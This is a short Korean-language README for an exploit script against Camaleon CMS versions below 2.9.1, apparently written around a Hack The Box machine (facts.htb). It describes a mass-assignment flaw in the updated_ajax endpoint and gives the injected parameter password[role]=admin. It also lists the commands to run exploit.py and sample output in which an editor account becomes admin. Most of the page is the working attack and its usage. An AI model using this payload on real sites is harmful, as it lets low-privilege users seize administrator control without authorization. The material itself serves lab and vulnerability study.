
Camaleon CMS < 2.9.1에서의 권한 상승 취약점.
Camaleon CMS < 2.9.1에서 발생하는 권한 상승 취약점입니다.
UsersController의updated_ajax엔드포인트는 필터링 없이params.require(:password).permit!를 호출하여 모든 매개변수가 mass-assignment될 수 있도록 합니다. 인증된 낮은 권한의 사용자는 비밀번호 변경 요청에password[role]=admin을 주입하여 관리자로 권한을 상승시킬 수 있습니다.
/admin/users/<id>/updated_ajax에 password[role]=admin을 비밀번호 매개변수에 주입하여 PATCH 요청을 보냅니다.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4
python3 exploit.py http://TARGET -u USER -p PASS
예시:
$ python3 exploit.py http://facts.htb -u esteban -p password123
[*] Logging in as esteban...
[+] Logged in successfully
[*] User ID: 3, current role: editor
[*] Sending exploit payload...
[+] Privilege escalation successful! User is now admin.
[+] Login at http://facts.htb/admin with your credentials.